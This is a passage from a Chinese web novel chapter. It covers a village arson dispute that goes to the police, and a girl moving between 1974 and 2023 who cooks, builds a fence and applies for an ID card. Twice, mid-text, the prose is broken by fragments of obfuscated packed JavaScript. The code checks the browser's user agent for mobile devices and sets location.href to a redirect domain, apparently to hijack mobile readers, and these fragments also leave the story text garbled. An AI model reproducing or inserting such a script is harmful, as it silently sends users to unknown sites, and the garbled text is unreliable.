此时此刻，田叔看着王小军一家的辱骂，以及狮子大开口时丑陋的嘴脸，他们恨不得要把自己和自己的家人碾碎在尘埃里。 田叔绝望极了。 今夜本就是种种积压的情绪爆发的时刻，整个人正处于情绪脆弱、容易出现极端的时候。 王小军一家人的辱骂和索要，瞬间又让他再次爆发了。 凭什么这些人一直欺负他，他连反击都不行？ “报公安！”田叔压着嗓子嘶吼。 私了？想都别想！ 他就算要坐牢，就算要被枪毙，死前他也要在这些人身上咬下一块肉，绝对不会让他们好过！ 王小军当记分员根本不是凭自己的本事，而且当上记分员之后，也不公平，除了田叔，其他人心里也有怨言。 他们家里除了王小军，还有其他人也在村大队里当干部，都是走关系走后门进的。 他们家里根本经不住查！ 田叔愤恨地想，自己已经没活路了，这些人也不给自己活路，私了就是把自己一家子全都往死路上逼。 这个时候，田叔的脑子突然灵光了，他想到了报公安。 田叔一说报公安，王小军一家还没急，村长先急了，劝说田叔：“老田，可不能报公安啊！这火是你放的，要是闹到公安那里，你可是大罪！你指不定要坐牢、劳改还是什么，你要没了，你让你的媳妇儿子爸妈可怎么过活？” 王小军一家还在旁边冷嘲热讽：“报公安？好啊！你报，让你报！你放火想烧死我们，你就是杀人犯！你就等着被枪毙吧！” 村正瞪了拱火的王小军一家，心里对他们生出不满，这都啥时候了，还在这里唯恐天下不乱，简直不知道一点儿轻重，也丝毫不为村子着想。 要是报公安，他们桥头村不得被外人笑话死，说他们闲话啊！ 村长哄劝田叔，但这次田叔铁了心的要报公安，愤恨地盯着王小军一家。 田叔被劝烦了，被村长说的心里憋闷，忍不住质问：“村长，你为什么只劝我，怎么不劝王小军一家？ “以前我被欺负占便宜的时候，也没见您这个村长出来主持公道啊！ “今天我放火是我不对，可我是被逼到这个份儿上的，你敢说他王小军没一点儿责任吗？ “你就只来劝我，让我忍，让我让，让我赔他们房子，赔他们钱，我就问凭什么？ “你怎么不劝王小军一家，让他们忍让后退呢？你劝他们别让我赔房子赔钱赔工分粮食，我肯定听您的私了。” 田叔瞥着村长的眼神毫不遮掩地嘲讽。 为啥只劝自己？不还是就看自己好欺负吗？ 村长对上田叔的眼神，心生恼怒：“我这不也是为你好吗？说一千道一万，那也是你放的火，我为你着想我还不对了是吧？真是狗咬吕洞宾不识好人心！行，你要报公安是吧？那就报！我也不管了！” 话说到这个份儿上，王小军一家也看明白田叔是铁了心要报公安，心里也有些急。 不过就算他们改口服软，田叔也不听了，总之就是只有报公安一条路。 …… 方夏生叹了口气：“这回田叔和王小军一家怕是要结死仇了……今天公安就会来咱们村，咱们村里出了这档子事儿，我姐和男方相看的事情也要往后延几天，一大早我妈就去找媒人说去了。” 赵小芸也有些忧愁：“也不知道公安会咋办这事儿，田叔会不会坐牢啊？” 方夏生摇摇头，他也不确定。 不管田叔最后会咋样，反正他们还得照常过日子。 昨天夜里赵小芸和方夏生几人一起抓的鱼都暂时养在了盆里，但是小鱼还是死了一些，那条大鱼也奄奄一息了。 不过也没关系，今天中午就要把这些鱼都吃了。 赵小芸去杀鱼刮鱼鳞，陈翠芳因为闻见鱼腥味儿犯恶心，赵小芸就没让她沾手。 赵晨玲和赵晨宇今天学校开学，早上一大早起来都去上学去了，中午就赵小芸和陈翠芳俩人在家。 赵小芸收拾干净所有的鱼，用盐先腌制起来。 “妈，大鱼咱俩中午吃完得了，鱼一放就腥，会不好吃。小鱼就油炸吧，等玲玲和小宇晚上回来吃。” 陈翠芳没意见：“行，那中午咱们就吃鱼。” 赵小芸把腌上的鱼放进灶房里，出来后又说：“等爸哪天回来，我去那边的超市买一条大鱼，让爸和玲玲小宇也都吃上大鱼。” 中午赵小芸准备做红烧鱼和鱼头炖豆腐。 去二零二三年买了一块豆腐，赵小芸担心吃不饱，毕竟说是大鱼，但其实也没多大，俩人吃是不够的。 赵小芸见卖豆腐的店里还有豆腐皮、豆干、豆泡等，就又买了几张豆腐皮。 她寻思着鱼头炖豆腐里再放点儿豆皮，最后还可以再下一些挂面，浇上鱼汤味道肯定也不错，有这些肯定能吃饱。 买完豆腐时间也还早，就去了一趟小超市。 赵小芸在小超市里面随便逛逛看看，见有特价的红薯粉条，因为保质期只剩三四个月，所以超市赶紧便宜甩卖，她就买了一包。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475569|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一包是五斤装，三四个月肯定能吃完。 赵小芸在小超市里又逛了一会儿，不过最后还是只买了一包红薯粉条，没再买其他东西。 提着豆腐等东西回家，差不多也要做午饭了。 赵小芸先做鱼头炖豆腐，锅炖上后，开始炸小鱼。 炸鱼费油，所以她也没太吝啬，这次多倒了点儿油。 炸完小鱼后剩下的油也不会浪费，平时炒菜做饭继续用。 中午的鱼做的香喷喷的，隔壁方夏生家也是吃鱼，于是香味儿就更浓郁了。 挨得比较近的几户人家闻见鱼香味儿，都馋的流口水，心里也惦记起来，想着偷摸去河里摸几条鱼来吃。 公安是下午到村里的，不过赵小芸没去看“热闹”，而是在家里后院扎篱笆墙。 隔壁的方白雪看见赵小芸：“小芸你也没去看公安呀？” 赵小芸摇头：“没啥好看的，况且今天估计也不会有结果。” “我也是这么想的，而且这种热闹我也不想看，就干脆也没去。” 方白雪心里轻轻叹气，本来今天是自己要和男同志相看的日子，谁知道会出现这种变故。 不过相看的日子推迟后，她心里也松了一口气。 去见一个陌生的男同志，她其实还是很紧张的。 方白雪来到赵小芸家后院：“小芸你是要扎篱笆墙吗？我帮你一起扎吧，反正我这会儿也没事，不过你在后院扎篱笆墙干啥？” 赵小芸把一根劈好的竹子插.进地里：“我家不是养了鸡吗？我想着以后再多养一两只鸡，如果能买来鸭苗，就再养几只鸭。但是又怕鸡鸭跑到后院吃菜，把菜都祸祸了，所以打算趁现在我有空，提前扎一圈篱笆墙围住菜。” 方白雪哦了一声，帮着赵小芸一起扎篱笆墙，同时也寻思着：要是能买来鸭苗，自己家里也买几只鸭子养，这样就能有鸭蛋和鸭肉吃了。 赵小芸先扎靠近门的地方，把砍来的一车竹子用完后就停了，她进屋拿了几颗糖出来塞给方白雪：“白雪姐，今天谢谢你帮忙啦！” 方白雪看了一眼手里的糖，连忙要给赵小芸塞回去：“就帮忙扎了几根竹子，咱俩这么亲，你还叫我姐呢，我咋好意思收你的糖？快收回去。” 赵小芸赶紧挡回去，跳开笑着说：“白雪姐你就收起来吧，我家里还有，不然以后你再给我帮忙我肯定就不好意思了。” 她又压低声音悄悄说：“另外你也知道，我爸现在去厂里上班，我家现在不愁吃喝，嘿嘿。” 方白雪忍不住也笑起来：“那行，我收下了。” 妈说明天要杀一只鸡吃，一是为了给烧伤的夏生补补，二是给小芸送一些鸡肉，谢谢她给夏生用的药。 方白雪看着手里的糖果，心说明天她多夹几块鸡肉来给小芸。 这几天，赵小芸继续给徐阿姨的砂锅店送菜，白天有空就去砍竹子，在后院扎篱笆墙。 二零二三年家里的厨房她也打扫干净了，本来是打算砌一个灶台的，但想来想去，家里以前做饭不可能没灶台。 赵小芸看着厨房里的燃气灶，猜测它大概率就是做饭的灶台：“这东西该咋用？” 琢磨了半天也没弄明白，赵小芸转身从家里出来，打算去巷子口那户人家里问问。 39. 新身份证 赵小芸走在巷子里，脚下踩着青石砖，同时心里想着事儿。 家里肯定也是有电的，她都看见院子里扯进来的电线了，屋子里也还有电灯的开关按钮。 这里的电灯按钮和一九七四年的不一样，那边是拉绳，这里的是按钮，比绳子好看多了，嵌在墙上也不碍事。 不知不觉已经走到了巷口那户人家，赵小芸抬手敲响大门，同时提高声音喊：“您好，有人在家吗？” 喊了好几遍之后，里面也没人回应：“难道是家里没人？” 赵小芸正准备离开，院子里传出来一道苍老的声音：“谁呀？” “老奶奶，我也是住这条巷子里的人，有问题想找您问问。” 没一会儿，大门从里面被打开，一个面容苍老，头发几乎全白的老奶奶出现在赵小芸面前。 老奶奶看着赵小芸打量了一遍：“小姑娘，找我问啥？” 赵小芸赶紧说：“是这样的奶奶，我刚搬到这边住，家里没电，做饭也没火，我想问问您，电费是去哪里交？还有那个火是咋整的？” “新搬这边住的呀？”老奶奶一脸慈祥，指着巷口外的路说，“出去后右拐，隔着两条街有一个便民服务所，电费和燃气费都是在那里交，去交钱的时候记着拿上电卡和燃起卡。” “交了钱之后，回来把卡插.进电表和燃气表就行。电表在那儿，瞅见没？就墙上那个红色的就是，插电卡前看好自家的住户号，千万别插到别人家的电表里了。燃气表在厨房里，你回去后在厨房里一找就能找到。” “另外，这边许久没住人了，你最好请人过来检查检查电路和燃气管，便民服务所那里就有工人师傅的电话，你到时候跟人家问问要来就行。” 赵小芸点头：“好的，我知道了，谢谢奶奶。” 老奶奶笑起来：“不谢不谢，以后有啥事儿都可以过来找我。” “嗯嗯，奶奶你以后要是有什么活儿需要我帮忙，就直接叫我，我就住在巷子头最后一家。” 赵小芸回到家里，在屋子里找老奶奶说的电卡和燃气卡。 厨房里整个翻了一遍也没找到，最后是在客厅的茶几抽屉里找到的。 电卡和燃气卡都装在一个铁盒子里，里面还有几张以前的电费、燃气费账单。 赵小芸把这些东西翻看了一遍，拿着电卡和燃气卡捏在手中：“也不知道还能不能用。” 还有电费和那个什么燃气费，也不知道贵不贵？ 现在手里也就剩十块多，肯定不够，况且还得请人来检查电路和燃气管。 不过幸好，再过两天徐阿姨就该给自己结菜钱了，到时候有钱了再把家里的电通上。 还有，眼下最重要的是把身份.证办了。 赵小芸想了想，准备去派出所问问关于办理身份.证的事儿。 路上边走边问，终于找到了派出所。 赵小芸一抹头上走出的汗，看着派出所的大门，犹豫了一会儿，鼓起勇气上前。 进入派出所里面，有几个人正在办理不知道什么业务，赵小芸感觉好像有了伴儿一样，心里瞬间轻松不少。 这是个小派出所，前台处理业务的只有两个人，赵小芸等了一会儿，等前面的人办完自己才过去。 “警察同志您好，我想问问身份.证怎么办理？”赵小芸心里忐忑，一开口声线都是紧绷的，不过好歹清楚地说出来了。 眼前给赵小芸办理业务的是一位年轻的警察姐姐，她问：“你的身份.证怎么了？” 问是这样问，不过她心里寻思，不是丢了就是不小心损毁了。 赵小芸紧张地咽了口唾沫：“我、我没身份.证。” 警察姐姐一瞬间以为自己没理解到位，反应了一下后，觉得可能是赵小芸没表述清楚：“没身份.证？是丢了吗？” 赵小芸摇头：“我没身份.证，一直没办过。” 警察姐姐惊的呆住了，过了几秒钟才问：“怎么会没有身份.证？”她打量了赵小芸一会儿，看着她天真稚气的眼睛，又问，“你今年多少岁了？成年没有？是刚成年准备来办新身份.证吗？办理新身份.证拿着户口本来就行。” 赵小芸的心脏扑通扑通跳，仿佛要从嗓子眼里跳出来：“我、我成年了！” 她一咬牙，虚报自己一岁：“我今年十八岁了。” 说完就感觉自己脸蛋烧的慌，在警察同志面前说谎，自己胆子也太大了。 但是这边打工的都要成年人，工厂里是不允许未成年人进去工作的。 “我没有户、户口本，没户口本的话能办吗？” 警察姐姐看赵小芸的眼神更加疑惑，盯着她沉默不语。 赵小芸被看的心里发慌，嘴巴不受控制地开始胡言乱语：“我有我家爸妈一九六六年的户口本……我是说我爷爷奶奶好几十年前的户口本，我不是黑户，我是好人，真的！” 家里的户口本在一九六六年换的新的。 警察姐姐一脸惊愕，没身份.证，也没户口，妥妥的黑户啊！ 没身份.证说的过去，毕竟才十八岁，刚成年，但是没户口就说不过去了。 还有，一九六六年的户口本是闹哪样？ 警察姐姐又问了赵小芸好几个问题，比如家住哪里，为什么家里没给上户口等等。 赵小芸从派出所出来的时候脑子一片混沌，都不知道自己刚才说了啥。 不过警察姐姐说她向上级领导请示，让她三天后再来。 本来是要赵小芸留手机号，领导那里有结果后就通知她，只是她没手机，只能暂定了三天时间，三天后让她再过来看结果。 …… 这三天赵小芸过得度日如年，连吃东西嘴里都没滋没味儿的，甚至连吃糖果都觉得不甜了。 三天后，赵小芸揣着一颗七上八下的心又一次来到了派出所。 依旧是上次她咨询问题的警察姐姐。 警察姐姐看出赵小芸的紧张不安，笑了笑说：“别紧张，你的情况我给领导汇报上去后，领导让人调查了一番，通知已经下来了，你可以办身份.证。” 不过领导没说调查结果，她心里感觉有些奇怪，但是领导的事儿她们这些小职员也用不着操心，听领导吩咐办事儿就行。 赵小芸高兴的差点儿跳起来。 太好了，自己能办身份.证！ 警察姐姐对自己的另一位同事说：“芳芳，你领这个小姑娘去照相。” 赵小芸跟着对方进入一个小房子里。 叫芳芳的警察姐姐说：“你过去坐那边的凳子上。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14483635|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>赵小芸赶紧过去，昂首挺胸、脊背挺直地坐好。 照相机后的工作人员先看了赵小芸一眼，见她头发全部都扎上去，没有挡眼睛、耳朵，坐的位置也合适，咔嚓照下一张照片。 “好了。” 赵小芸不知道好了是什么好了，还呆呆地坐着没动。 芳芳招手喊她：“可以了，过来吧，到前台给你办身份.证。” 赵小芸赶紧站起来，跟着芳芳出去，又回到之前的警察姐姐柜台前。 录入基本信息，办.证申请提交后，警察姐姐说：“办好了，交二十元钱新证办理费用，这个条子你拿好，新身份.证最晚不超过两个月办好，到时候你拿着条子过来领证。” 赵小芸小心翼翼地把条子收起来，交了二十块钱。 幸好徐阿姨已经结了第一周的菜钱，不然办.证的钱都不够。 赵小芸从派出所离开，心里的雀跃半天都没平息下来。 没想到办身份.证竟然这么顺利，她就要有二零二三年的新身份.证啦！ 以后就能顺利找工作，可以办理手机号码，等她有钱了，买一部手机，就能打电话了。 赵小芸走在路上，嘴里哼着小曲，胳膊甩开，两条腿不受控制地想要跳起来。 走到美食街附近，赵小芸跑到奶茶店，给王玥分享这个喜悦的消息：“王姐，我的新身份.证办好了，两个月内就能拿到。” “真的？这可太好了。”王玥也为赵小芸高兴。 赵小芸笑得眉眼飞扬：“王姐，等我买了手机，办好手机号，我也把我的手机号告诉你，这样咱们有啥事就能随时打电话发短信了。” 王玥：“好啊！到时候你下载个微信、QQ什么的，发消息、打视频都不要钱。” “微信QQ是什么？”赵小芸还没听过这些东西。 王玥笑着掏出自己的手机，指着微信QQ的图标给赵小芸看：“喏，这个就是。” 还点开给她看看是怎么用的，发消息、图片、语音、视频，看得赵小芸直呼神奇。 “不仅仅是微信QQ，所有的软件都可以从手机应用市场里下载。” 赵小芸嘴里不停地发出惊叹。 王玥看着赵小芸两眼亮晶晶，满脸都写着“好神奇”、“太了不起了”，笑起来：“等你买来手机，自己用几天就全都会了，手机里的东西看着多，但其实也就那几样，自己随便点点戳戳就能弄懂了。” 赵小芸心里对买手机的期待更高了。 告别王姐，从奶茶店里出来，赵小芸又去找了齐宏，给他也说了这个好消息。 齐宏恭喜完赵小芸，又说道：“正好，我也有好事儿要找你，我找到一个发传单的工作，一天一百二十块，你要不要去干？” “你找到新工作了？要干！当然要干！”赵小芸激动得不行。 自己可是要计划买手机的人，现在正缺钱呢，有工作当然要做！ 齐宏笑着说：“那好，明天上午八点，到兴旺超市北门门口集合，别迟到了啊！” “放心吧，我肯定不会迟到。”赵小芸燃起了工作热情。 “明天记着带一壶水。”齐宏提醒，他知道赵小芸肯定不舍得花钱买瓶装水。 赵小芸点点头：“对了，发传单是什么工作？”